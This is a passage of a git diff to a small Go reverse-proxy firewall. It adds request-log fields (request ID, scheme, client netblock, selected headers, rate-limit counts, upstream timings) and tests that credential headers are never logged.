ResponseBytes: int64(received), UserAgent: "test-agent", - Action: requestlog.ActionForward, DurationTotal: line.DurationTotal, - DurationUpstreamTotal: line.DurationUpstreamTotal, - } - if line.Line != want { + RequestID: line.RequestID, PeerIP: localhost, ClientGroup: localhost + "/32", + ContentLength: int64(sent), ResponseContentType: "text/plain; charset=utf-8", + UpstreamStatus: http.StatusTeapot, Action: requestlog.ActionForward, + Counts: ratelimit.Counts{Minute: 1, Hour: 1, Day: 1}, + }) + if !reflect.DeepEqual(line.Line, want) { t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want) } _, err := time.Parse(time.RFC3339, line.Time) - if err != nil || line.DurationTotal <= 0 || line.DurationUpstreamTotal <= 0 { - t.Errorf("log line has time %q and durations %v and %v", - line.Time, line.DurationTotal, line.DurationUpstreamTotal) + if err != nil || line.RequestID == "" || line.DurationTotal <= 0 || + line.DurationUpstreamTotal == nil || *line.DurationUpstreamTotal <= 0 { + t.Errorf("log line has time %q, request_id %q and durations %v and %v", + line.Time, line.RequestID, line.DurationTotal, + line.fields["duration_upstream_total"]) } } @@ -371,8 +381,13 @@ func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) { addr, out := startProxy(t, "http://"+localhost+":1", nil) wantStatus(t, get(t, addr, "/"), http.StatusBadGateway) - wantLine(t, out.requestLine(t), http.StatusBadGateway, - requestlog.ActionUpstreamError) + + line := out.requestLine(t) + wantLine(t, line, http.StatusBadGateway, requestlog.ActionUpstreamError) + + // There never was a connection to the app, nor an answer from it. + wantTimings(t, line, "duration_total", "duration_checks", + "duration_upstream_total") logged := slices.ContainsFunc(out.lines(t), func(line map[string]any) bool { return line["type"] == "process" && line["msg"] == "request to the app failed" diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 2c9bf13..a651f4d 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -160,6 +160,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { // a health checker is never refused. It does not ask the app. if r.Method == http.MethodGet && r.URL.Path == HealthPath { rq.line.Action = requestlog.ActionAdmin + // Set here rather than left to Go's server, which would set it only + // after the log line has taken the response's headers. + rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8") _, _ = io.WriteString(rq.out, "ok\n") return @@ -169,6 +172,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { defer rq.addToHistory() refused := rq.check(r.Context()) + rq.checked = time.Now() + if refused != nil { rq.answer(*refused) diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index bcff4cc..ccb3bed 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -35,6 +35,10 @@ const ( // localhost is where every test server listens, and so the address // smallwebwaf sees each test's requests come from. localhost = "127.0.0.1" + // requestType is the type that marks a request log line. + requestType = "request" + // protocol is the protocol of every test's requests. + protocol = "HTTP/1.1" ) // shortTimeoutSetting is shortTimeout as a setting's value. @@ -67,6 +71,8 @@ const ( maxBanDuration = "SWWAF_MAX_BAN_DURATION" maxBans = "SWWAF_MAX_BANS" banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX" + instanceName = "SWWAF_INSTANCE_NAME" + logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" ) // output collects what smallwebwaf writes on stdout. @@ -83,6 +89,14 @@ func (o *output) Write(p []byte) (int, error) { return o.buf.Write(p) } +// text returns everything written so far. +func (o *output) text() string { + o.mu.Lock() + defer o.mu.Unlock() + + return o.buf.String() +} + // lines returns every line written so far, decoded. func (o *output) lines(t *testing.T) []map[string]any { t.Helper() @@ -122,7 +136,7 @@ func (o *output) requestLines(t *testing.T, count int) []logLine { var found []logLine for _, fields := range o.lines(t) { - if fields["type"] == "request" { + if fields["type"] == requestType { found = append(found, decodeLine(t, fields)) } } diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 71d571e..09dfef1 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -8,6 +8,7 @@ import ( "net/http/httputil" "net/netip" "os" + "strings" "sync" "sync/atomic" "time" @@ -46,7 +47,9 @@ type request struct { peer netip.Addr peerTrusted bool start time.Time - // upstreamStart is when the request was handed to the app. + // checked is when the checks were done, and upstreamStart when the + // request was handed to the app. + checked time.Time upstreamStart time.Time // cancel ends the request to the app. cancel context.CancelFunc @@ -56,26 +59,34 @@ type request struct { complete bool // mu guards what follows. The timeouts run on goroutines of their - // own, and the transport starts and stops them from its own; once - // timersStopped is set, none of them acts any more. + // own, and the transport starts and stops them, and notes the times + // below, from its own; once timersStopped is set, none of the timeouts + // acts any more. mu sync.Mutex timersStopped bool clientRequestTimer *time.Timer upstreamRequestTimer *time.Timer upstreamResponseTimer *time.Timer - // requestSent is when the app had been sent the whole request. - requestSent time.Time + // connected is when there was a connection to the app, requestSent + // when the app had been sent the whole request, and answerStarted + // when the first byte of its answer arrived. + connected time.Time + requestSent time.Time + answerStarted time.Time } // newRequest starts handling r: it notes the time, counts the request as -// under way, and works out the client. +// under way, works out the client, and starts the log line with what is +// known of the request. func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { h.metrics.RequestStarted() start := time.Now() peer := peerAddress(r) trusted := h.config.TrustedProxies - client := clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted) + peerTrusted := isInside(peer, trusted) + forwardedFor := r.Header.Values("X-Forwarded-For") + client := clientAddress(peer, forwardedFor, trusted) rq := &request{ h: h, @@ -84,22 +95,37 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { out: &responseWriter{ResponseWriter: w}, client: client, peer: peer, - peerTrusted: isInside(peer, trusted), + peerTrusted: peerTrusted, start: start, line: requestlog.Line{ - Time: requestlog.FormatTime(start), - ClientIP: client.String(), - PeerIP: peer.String(), - Method: r.Method, - Host: r.Host, - Path: r.URL.EscapedPath(), - Query: r.URL.RawQuery, - Protocol: r.Proto, - Referer: r.Referer(), - UserAgent: r.UserAgent(), - Action: requestlog.ActionForward, + Time: requestlog.FormatTime(start), + Instance: h.config.InstanceName, + ClientIP: client.String(), + Method: r.Method, + Scheme: scheme(r, peerTrusted), + Host: r.Host, + Path: r.URL.EscapedPath(), + Query: r.URL.RawQuery, + Protocol: r.Proto, + Referer: r.Referer(), + UserAgent: r.UserAgent(), + RequestID: requestID(r, peerTrusted), + PeerIP: peer.String(), + ForwardedFor: strings.Join(forwardedFor, ", "), + ClientGroup: clientGroup(client).String(), + ContentType: r.Header.Get("Content-Type"), + RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders), + HasAuthorization: len(r.Header.Values("Authorization")) > 0, + HasCookie: len(r.Header.Values("Cookie")) > 0, + Action: requestlog.ActionForward, }, } + + // A length of -1 is a body whose length was not announced. + if r.ContentLength > 0 { + rq.line.ContentLength = r.ContentLength + } + if r.Body != http.NoBody { rq.body = &requestBody{body: limitBody(r.Body, h.config.RequestMaxBytes), rq: rq} } @@ -107,6 +133,27 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { return rq } +// requestHeaders returns the headers of r that names lists, by name in +// lower case, each with its values joined by ", ". Authorization, Cookie +// and Set-Cookie are never among them, whatever names says. +func requestHeaders(r *http.Request, names []string) map[string]string { + headers := map[string]string{} + + for _, name := range names { + switch name { + case "authorization", "cookie", "set-cookie": + continue + } + + values := r.Header.Values(name) + if len(values) > 0 { + headers[name] = strings.Join(values, ", ") + } + } + + return headers +} + // check is the one place where a request can be refused once its client // is known, before its body is read or anything reaches the app. It // returns nil to let the request through. The checks of checkClient come @@ -182,7 +229,9 @@ func (rq *request) forward(ctx context.Context) { rq.cancel = cancel ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{ - WroteRequest: rq.wroteRequest, + GotConn: rq.gotConn, + WroteRequest: rq.wroteRequest, + GotFirstResponseByte: rq.gotFirstResponseByte, }) out := rq.in.WithContext(ctx) @@ -205,7 +254,8 @@ func (rq *request) forward(ctx context.Context) { } // rewrite makes the request the app receives: the client's request, -// unchanged, sent to SWWAF_UPSTREAM_URL, with the forwarded headers set. +// unchanged, sent to SWWAF_UPSTREAM_URL, with the forwarded headers and +// the request's id set. func (rq *request) rewrite(pr *httputil.ProxyRequest) { upstream := rq.h.config.UpstreamURL pr.Out.URL.Scheme = upstream.Scheme @@ -214,6 +264,7 @@ func (rq *request) rewrite(pr *httputil.ProxyRequest) { // the query as the client sent it. pr.Out.URL.RawQuery = pr.In.URL.RawQuery setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted) + pr.Out.Header.Set(requestIDHeader, rq.line.RequestID) } // modifyResponse looks at the app's answer before ReverseProxy passes it @@ -227,6 +278,7 @@ func (rq *request) modifyResponse(res *http.Response) error { // connection it takes over, not through rq.out. rq.stopTimers() rq.out.status = res.StatusCode + rq.line.Websocket = true return nil } @@ -322,6 +374,10 @@ func (rq *request) finish() { line := &rq.line line.Status = rq.out.status line.ResponseBytes = rq.out.bytes + header := rq.out.Header() + line.ResponseContentType = header.Get("Content-Type") + line.CacheControl = header.Get("Cache-Control") + line.Location = header.Get("Location") if rq.body != nil { line.RequestBytes = rq.body.bytes.Load() @@ -346,12 +402,18 @@ func (rq *request) finish() { now := time.Now() duration := now.Sub(rq.start) line.DurationTotal = requestlog.Milliseconds(duration) + line.DurationChecks = timing(rq.start, rq.checked) var upstreamDuration time.Duration if !rq.upstreamStart.IsZero() { upstreamDuration = now.Sub(rq.upstreamStart) - line.DurationUpstreamTotal = requestlog.Milliseconds(upstreamDuration) + line.DurationUpstreamTotal = new(requestlog.Milliseconds(upstreamDuration)) + + rq.mu.Lock() + line.DurationUpstreamConnect = timing(rq.upstreamStart, rq.connected) + line.DurationUpstreamFirstByte = timing(rq.upstreamStart, rq.answerStarted) + rq.mu.Unlock() } // Counted before the log line is written, so that the metrics count @@ -364,6 +426,17 @@ func (rq *request) finish() { } } +// timing is the time from start to end in milliseconds, for one of the +// log line's timings, or nil when end is zero: what it times never +// happened. +func timing(start, end time.Time) *float64 { + if end.IsZero() { + return nil + } + + return new(requestlog.Milliseconds(end.Sub(start))) +} + // addToHistory adds the request, which has ended, to its client's // history. func (rq *request) addToHistory() { @@ -473,6 +546,24 @@ func (rq *request) bodyReceived() { stopTimer(rq.clientRequestTimer) } +// gotConn is called once there is a connection to the app, a new one or +// one kept open from an earlier request. +func (rq *request) gotConn(httptrace.GotConnInfo) { + rq.mu.Lock() + defer rq.mu.Unlock() + + rq.connected = time.Now() +} + +// gotFirstResponseByte is called once the first byte of the app's answer +// has arrived. +func (rq *request) gotFirstResponseByte() { + rq.mu.Lock() + defer rq.mu.Unlock() + + rq.answerStarted = time.Now() +} + // wroteRequest is called once the app has been sent the whole request: // the request timeouts end and SWWAF_UPSTREAM_RESPONSE_TIMEOUT starts. func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) { diff --git a/internal/proxy/requestlog_test.go b/internal/proxy/requestlog_test.go new file mode 100644 index 0000000..98d2104 --- /dev/null +++ b/internal/proxy/requestlog_test.go @@ -0,0 +1,368 @@ +package proxy_test + +import ( + "io" + "maps" + "math" + "net/http" + "reflect" + "slices" + "strings" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +const ( + // requestIDHeader carries the request's id. + requestIDHeader = "X-Request-ID" + // instance is the SWWAF_INSTANCE_NAME a test sets. + instance = "fsn1app1/gitea" + // ipv6Client is a client on IPv6, and ipv6Group the netblock the rate + // limits count it as. + ipv6Client = "2001:db8::7" + ipv6Group = "2001:db8::/64" +) + +func TestLogLineHasEachFieldWhereItApplies(t *testing.T) { + t.Parallel() + + received := make(chan string, 2) // the request ids the app received + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + received <- r.Header.Get(requestIDHeader) + + _, _ = io.Copy(io.Discard, r.Body) + + if r.URL.Path != "/full" { + w.WriteHeader(http.StatusNoContent) + + return + } + + w.Header().Set("Content-Type", "text/html") + w.Header().Set("Cache-Control", "no-store") + w.Header().Set("Location", "/elsewhere") + w.WriteHeader(http.StatusFound) + _, _ = io.WriteString(w, "moved") + }) + addr, out := startProxy(t, app.URL, map[string]string{ + trustedProxies: trustLocalhost, + rateLimitExemptNets: localhost, + instanceName: instance, + logRequestHeaders: "Accept,x-custom,Authorization,cookie,SET-COOKIE", + }) + + // This request comes from ipv6Client through a trusted proxy, with a + // body and each header the log line looks at, and is answered with a + // redirect. + conn := dial(t, addr) + send(t, conn, "POST /full HTTP/1.1\r\nHost: "+appHost+"\r\n"+ + forwardedFor+": 198.51.100.7, "+ipv6Client+"\r\n"+ + forwardedProto+": "+secure+"\r\n"+requestIDHeader+": from-traefik\r\n"+ + "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 3\r\n"+ + "Accept: text/html\r\nX-Custom: one\r\nX-Custom: two\r\n"+ + "Authorization: Bearer secret-token\r\nCookie: session=secret-cookie\r\n"+ + "Set-Cookie: secret-set-cookie\r\n\r\na=b") + wantStatus(t, readResponse(t, conn), http.StatusFound) + + // A request's log line can come after its answer: each is waited for + // before the next request, so that the lines are in order. + full := out.requestLines(t, 1)[0] + + // This one comes from 127.0.0.1, which the rate limits do not count, + // with a body of 4 bytes whose length it does not announce, so that its + // request_bytes is not its content_length, and no header the log line + // looks at, and is answered with 204 and no header. + conn = dial(t, addr) + send(t, conn, "POST /bare HTTP/1.1\r\nHost: "+appHost+"\r\n"+ + "Transfer-Encoding: chunked\r\n\r\n4\r\nbody\r\n0\r\n\r\n") + wantStatus(t, readResponse(t, conn), http.StatusNoContent) + + bare := out.requestLines(t, 2)[1] + + wantFullLine(t, full) + wantBareLine(t, bare) + + for _, line := range []logLine{full, bare} { + got := <-received + if got != line.RequestID { + t.Errorf("the app received request id %q, the log line has %q", + got, line.RequestID) + } + } + + if strings.Contains(out.text(), "secret") { + t.Errorf("a value of Authorization, Cookie or Set-Cookie is logged:\n%s", + out.text()) + } +} + +// wantFullLine checks the log line of the request with every header the +// line looks at. Its timings are checked by TestTimingsAreInOrder. +func wantFullLine(t *testing.T, line logLine) { + t.Helper() + + headers := map[string]string{"accept": "text/html", "x-custom": "one, two"} + + want := withTimings(line, requestlog.Line{ + Type: requestType, Time: line.Time, Instance: instance, + ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure, + Host: appHost, Path: "/full", Protocol: protocol, + Status: http.StatusFound, RequestBytes: 3, ResponseBytes: 5, + RequestID: "from-traefik", PeerIP: localhost, + ForwardedFor: "198.51.100.7, " + ipv6Client, ClientGroup: ipv6Group, + ContentType: "application/x-www-form-urlencoded", ContentLength: 3, + RequestHeaders: headers, HasAuthorization: true, HasCookie: true, + ResponseContentType: "text/html", UpstreamStatus: http.StatusFound, + CacheControl: "no-store", Location: "/elsewhere", + Action: requestlog.ActionForward, + Counts: ratelimit.Counts{Minute: 1, Hour: 1, Day: 1}, + }) + if !reflect.DeepEqual(line.Line, want) { + t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want) + } +} + +// wantBareLine checks the log line of the request with none of them, and +// that the fields that do not apply to it are left out. +func wantBareLine(t *testing.T, line logLine) { + t.Helper() + + want := withTimings(line, requestlog.Line{ + Type: requestType, Time: line.Time, Instance: instance, + ClientIP: localhost, Method: http.MethodPost, Scheme: plain, + Host: appHost, Path: "/bare", Protocol: protocol, + Status: http.StatusNoContent, RequestBytes: 4, RequestID: line.RequestID, + PeerIP: localhost, ClientGroup: localhost + "/32", + UpstreamStatus: http.StatusNoContent, Action: requestlog.ActionForward, + }) + if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" { + t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want) + } + + for _, name := range []string{ + "forwarded_for", "content_type", "content_length", "request_headers", + "has_authorization", "has_cookie", "websocket", "response_content_type", + "cache_control", "location", "counts", + } { + _, present := line.fields[name] + if present { + t.Errorf("log line has %s, which does not apply", name) + } + } +} + +// withTimings returns want with the timings of line. +func withTimings(line logLine, want requestlog.Line) requestlog.Line { + want.DurationTotal = line.DurationTotal + want.DurationChecks = line.DurationChecks + want.DurationUpstreamConnect = line.DurationUpstreamConnect + want.DurationUpstreamFirstByte = line.DurationUpstreamFirstByte + want.DurationUpstreamTotal = line.DurationUpstreamTotal + + return want +} + +func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) { + t.Parallel() + + const hasAuthorization, hasCookie = "has_authorization", "has_cookie" + + for _, tc := range []struct{ header, field, other string }{ + {"Authorization", hasAuthorization, hasCookie}, + {"Cookie", hasCookie, hasAuthorization}, + } { + t.Run("only "+tc.header, func(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, out := startProxy(t, app.URL, nil) + + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Header.Set(tc.header, "secret") + wantStatus(t, do(t, req), http.StatusOK) + + line := out.requestLine(t) + + _, otherPresent := line.fields[tc.other] + if line.fields[tc.field] != true || otherPresent { + t.Errorf("log line has %s %v and %s %v, want true and none", + tc.field, line.fields[tc.field], tc.other, line.fields[tc.other]) + } + }) + } +} + +func TestRequestIDAndSchemeComeOnlyFromATrustedProxy(t *testing.T) { + t.Parallel() + + const sentID = "from-traefik" + + sent := http.Header{requestIDHeader: {sentID}, forwardedProto: {secure}} + trusted := map[string]string{trustedProxies: trustLocalhost} + + for _, tc := range []struct { + name string + env map[string]string + header http.Header + // wantID is the request id logged, "" for a new one. + wantID, wantScheme string + }{ + {"a trusted proxy's are kept", trusted, sent, sentID, secure}, + {"without them, the id is new and the scheme http", trusted, nil, "", plain}, + {"another peer's are replaced", nil, sent, "", plain}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + received := make(chan string, 2) + app := startApp(t, func(_ http.ResponseWriter, r *http.Request) { + received <- r.Header.Get(requestIDHeader) + }) + addr, out := startProxy(t, app.URL, tc.env) + + // Two requests, so that two new ids can be told apart. + ids := make([]string, 0, 2) + + for i := range 2 { + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + maps.Copy(req.Header, tc.header) + wantStatus(t, do(t, req), http.StatusOK) + + line := out.requestLines(t, i+1)[i] + ids = append(ids, line.RequestID) + + got := <-received + if line.RequestID != got || line.Scheme != tc.wantScheme { + t.Errorf("log line has request_id %q and scheme %q, and the "+ + "app received id %q; want the same id and scheme %q", + line.RequestID, line.Scheme, got, tc.wantScheme) + } + } + + switch { + case tc.wantID != "" && (ids[0] != tc.wantID || ids[1] != tc.wantID): + t.Errorf("request ids %q, want %q", ids, tc.wantID) + case tc.wantID == "" && (slices.Contains(ids, sentID) || + slices.Contains(ids, "") || ids[0] == ids[1]): + t.Errorf("request ids %q, want two new ones", ids) + } + }) + } +} + +func TestTimingsAreInOrder(t *testing.T) { + t.Parallel() + + const denied = "192.0.2.50" // in SWWAF_DENY_NETS + + app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { + // The pauses set the times apart; a hold-up of the test only + // lengthens them. + time.Sleep(time.Millisecond) + w.WriteHeader(http.StatusOK) + _ = http.NewResponseController(w).Flush() + + time.Sleep(time.Millisecond) + + _, _ = io.WriteString(w, "done") + }) + addr, out := startProxy(t, app.URL, map[string]string{ + trustedProxies: trustLocalhost, + denyNets: denied, + }) + + // Each log line is waited for before the next request, so that the + // lines are in order. + wantStatus(t, get(t, addr, "/"), http.StatusOK) + forwarded := out.requestLines(t, 1)[0] + + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Header.Set(forwardedFor, denied) + wantStatus(t, do(t, req), http.StatusForbidden) + refused := out.requestLines(t, 2)[1] + + wantStatus(t, get(t, addr, proxy.HealthPath), http.StatusOK) + health := out.requestLines(t, 3)[2] + + // A request passed to the app has every timing; one refused, none of + // the app's; the health check, which runs no check, only the total. + wantTimings(t, forwarded, "duration_total", "duration_checks", + "duration_upstream_connect", "duration_upstream_first_byte", + "duration_upstream_total") + wantTimings(t, refused, "duration_total", "duration_checks") + wantTimings(t, health, "duration_total") + + if t.Failed() { + return + } + + // In whole microseconds, as they are logged, so that the sum below is + // exact. + total := microseconds(forwarded.DurationTotal) + checks := microseconds(*forwarded.DurationChecks) + connect := microseconds(*forwarded.DurationUpstreamConnect) + firstByte := microseconds(*forwarded.DurationUpstreamFirstByte) + upstream := microseconds(*forwarded.DurationUpstreamTotal) + + // The checks end before the request is handed to the app, and the + // connection comes before the answer, which the app ends after a + // pause. + if checks+upstream > total || connect >= firstByte || firstByte >= upstream { + t.Errorf("timings in microseconds: total %d, checks %d, connect %d, "+ + "first byte %d, upstream total %d", total, checks, connect, firstByte, + upstream) + } + + if *refused.DurationChecks > refused.DurationTotal { + t.Errorf("refused request's checks took %v of %v milliseconds", + *refused.DurationChecks, refused.DurationTotal) + } +} + +// wantTimings checks that the timings named are the only ones line has. +func wantTimings(t *testing.T, line logLine, want ...string) { + t.Helper() + + var got []string + + for name := range line.fields { + if strings.HasPrefix(name, "duration_") { + got = append(got, name) + } + } + + slices.Sort(got) + slices.Sort(want) + + if !slices.Equal(got, want) { + t.Errorf("log line of %s has timings %v, want %v", line.Path, got, want) + } +} + +// microseconds is a timing in whole microseconds. +func microseconds(milliseconds float64) int64 { + return int64(math.Round(milliseconds * 1000)) +} + +func TestLogsAnUpgradedConnection(t *testing.T) { + t.Parallel() + + app := startApp(t, echoAfterUpgrade) + addr, out := startProxy(t, app.URL, nil) + + conn := dial(t, addr) + send(t, conn, "GET /socket HTTP/1.1\r\nHost: app\r\n"+ + "Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n") + wantStatus(t, readResponse(t, conn), http.StatusSwitchingProtocols) + + _ = conn.Close() + + line := out.requestLine(t) + if line.fields["websocket"] != true { + t.Errorf("log line has websocket %v, want true", line.fields["websocket"]) + } +} diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index fb25801..9a7b68b 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -149,26 +149,39 @@ type Hit struct { Requests float64 } +// Counts are a client's requests in the minute, the hour and the day that +// end at a request, that request included. +type Counts struct { + Minute float64 `json:"minute"` + Hour float64 `json:"hour"` + Day float64 `json:"day"` +} + // Count counts a request from client at now, in every window, whether or -// not it is refused. It reports whether the request takes the client over -// a limit, and the window whose limit it goes over, the shortest if it is -// over several. -func (l *Limiter) Count(client netip.Prefix, now time.Time) (Hit, bool) { +// not it is refused, and returns the client's requests in each window. It +// reports whether the request takes the client over a limit, and the +// window whose limit it goes over, the shortest if it is over several. +func (l *Limiter) Count(client netip.Prefix, now time.Time) (Counts, Hit, bool) { l.mu.Lock() defer l.mu.Unlock() - var hit Hit + var ( + requests [3]float64 + hit Hit + ) for i, b := range l.get(client).buckets() { w := l.windows[i] - requests := b.add(now, w.length) - if hit.Window == "" && w.limit > 0 && requests > float64(w.limit) { - hit = Hit{Window: w.name, Limit: w.limit, Requests: requests} + requests[i] = b.add(now, w.length) + if hit.Window == "" && w.limit > 0 && requests[i] > float64(w.limit) { + hit = Hit{Window: w.name, Limit: w.limit, Requests: requests[i]} } } - return hit, hit.Window != "" + counts := Counts{Minute: requests[0], Hour: requests[1], Day: requests[2]} + + return counts, hit, hit.Window != "" } // Reset sets client's counts in every window back to zero. Its history diff --git a/internal/ratelimit/ratelimit_test.go b/internal/ratelimit/ratelimit_test.go index 891fc3b..49bb3ec 100644 --- a/internal/ratelimit/ratelimit_test.go +++ b/internal/ratelimit/ratelimit_test.go @@ -62,14 +62,14 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { start := midnight() for range limit { - _, over := limiter.Count(client, start) + _, _, over := limiter.Count(client, start) if over { t.Fatal("a request within the limit is over it") } } // Over both limits; the minute's is named, with the four requests. - hit, over := limiter.Count(client, start) + _, hit, over := limiter.Count(client, start) want := ratelimit.Hit{Window: minute, Limit: limit, Requests: limit + 1} if !over || hit != want { @@ -78,6 +78,29 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { } } +func TestCountGivesTheRequestsInEachWindow(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + for range 3 { + limiter.Count(client, start) + } + + // A quarter into the next hour, the minute has only this request. The + // hour still covers three quarters of the bucket before, with its three + // requests, which count 2.25, and this one: 3.25. The day covers all + // four. + counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4)) + + want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4} + if counts != want { + t.Errorf("counts %+v, want %+v", counts, want) + } +} + func TestResetSetsTheCountsBackToZero(t *testing.T) { t.Parallel() @@ -238,7 +261,7 @@ func wantCount( ) { t.Helper() - hit, _ := limiter.Count(client, now) + _, hit, _ := limiter.Count(client, now) if hit.Window != want { t.Errorf("request from %s at %s is over %q, want %q", client, now.Format(time.RFC3339), hit.Window, want) diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index f552c20..a36003a 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -9,6 +9,8 @@ import ( "io" "log/slog" "time" + + "sneak.berlin/go/smallwebwaf/internal/ratelimit" ) // The action a request line names: what smallwebwaf did with the @@ -45,32 +47,71 @@ const OffenceLimit = "limit" // timeLayout is RFC 3339 with milliseconds. const timeLayout = "2006-01-02T15:04:05.000Z07:00" -// Line is one request's line in the request log. The field names are -// those of the "Request log" section of SPEC.md. +// Line is one request's line in the request log. The field names, and +// their order, are those of the "Request log" section of SPEC.md. A field +// that may not apply to a request is left out of its line when it does +// not. // //nolint:tagliatelle // SPEC.md's request log names its fields in snake_case type Line struct { - Type string `json:"type"` - Time string `json:"time"` - ClientIP string `json:"client_ip"` - PeerIP string `json:"peer_ip"` - Country string `json:"country"` - Method string `json:"method"` - Host string `json:"host"` - Path string `json:"path"` - Query string `json:"query"` - Protocol string `json:"protocol"` - Status int `json:"status"` - UpstreamStatus int `json:"upstream_status,omitempty"` - RequestBytes int64 `json:"request_bytes"` - ResponseBytes int64 `json:"response_bytes"` - Referer string `json:"referer"` - UserAgent string `json:"user_agent"` - Action string `json:"action"` + Type string `json:"type"` + + // The standard web log fields. Scheme is how the client reached + // smallwebwaf, or the trusted proxy in front of it. + Time string `json:"time"` + Instance string `json:"instance"` + ClientIP string `json:"client_ip"` + Method string `json:"method"` + Scheme string `json:"scheme"` + Host string `json:"host"` + Path string `json:"path"` + Query string `json:"query"` + Protocol string `json:"protocol"` + Status int `json:"status"` + RequestBytes int64 `json:"request_bytes"` + ResponseBytes int64 `json:"response_bytes"` + Referer string `json:"referer"` + UserAgent string `json:"user_agent"` + + // Request detail. RequestID is the X-Request-ID a trusted proxy sent, + // or a new one, and is sent on to the app. ForwardedFor is the + // X-Forwarded-For header as received. ClientGroup is the netblock the + // client is counted as. + RequestID string `json:"request_id"` + PeerIP string `json:"peer_ip"` + ForwardedFor string `json:"forwarded_for,omitempty"` + ClientGroup string `json:"client_group"` + Country string `json:"country"` + ContentType string `json:"content_type,omitempty"` + // ContentLength is the length of its body the request announced. + ContentLength int64 `json:"content_length,omitempty"` + // RequestHeaders are the headers SWWAF_LOG_REQUEST_HEADERS names that + // the request carried, by name in lower case. + RequestHeaders map[string]string `json:"request_headers,omitempty"` + HasAuthorization bool `json:"has_authorization,omitempty"` + HasCookie bool `json:"has_cookie,omitempty"` + // Websocket is true when the connection was upgraded, as for a + // WebSocket. + Websocket bool `json:"websocket,omitempty"` + + // Response detail, from the headers of the answer: the app's, as + // passed on, or those of smallwebwaf's own. Aborted is true when the + // client went away early. + ResponseContentType string `json:"response_content_type,omitempty"` + UpstreamStatus int `json:"upstream_status,omitempty"` + CacheControl string `json:"cache_control,omitempty"` + Location string `json:"location,omitempty"` + Aborted bool `json:"aborted,omitempty"` + + // The decision. + Action string `json:"action"` // WouldAction is, in observe mode, the action enforce mode would have // taken with a request it would have refused: ActionDenied, // ActionBanned, ActionCountryDenied or ActionRateLimited. WouldAction string `json:"would_action,omitempty"` + // Counts are the client's requests as the rate limits counted them + // with this one, for a request they counted. + Counts ratelimit.Counts `json:"counts,omitzero"` // LimitHit is the window whose rate limit the request went over: // minute, hour or day. LimitHit string `json:"limit_hit,omitempty"` @@ -79,11 +120,18 @@ type Line struct { // BanExpires is when the ban the request made, or was refused under, // ends: a time, or "permanent". BanExpires string `json:"ban_expires,omitempty"` - // Aborted is true when the client went away early. - Aborted bool `json:"aborted,omitempty"` - // DurationTotal and DurationUpstreamTotal are in milliseconds. - DurationTotal float64 `json:"duration_total"` - DurationUpstreamTotal float64 `json:"duration_upstream_total,omitempty"` + + // The timings, in milliseconds. DurationChecks is the time until the + // checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte + // and DurationUpstreamTotal run from when the request was handed to the + // app: until there was a connection to it, until the first byte of its + // answer arrived, and until the end. Each but DurationTotal is nil for + // a request that did not get that far. + DurationTotal float64 `json:"duration_total"` + DurationChecks *float64 `json:"duration_checks,omitempty"` + DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"` + DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"` + DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"` } // Write writes line to w as one JSON line marked "type":"request". diff --git a/internal/requestlog/requestlog_test.go b/internal/requestlog/requestlog_test.go index 897f4b7..38303b6 100644 --- a/internal/requestlog/requestlog_test.go +++ b/internal/requestlog/requestlog_test.go @@ -50,7 +50,11 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) { } unset := []string{ - "upstream_status", "limit_hit", "offence", "ban_expires", 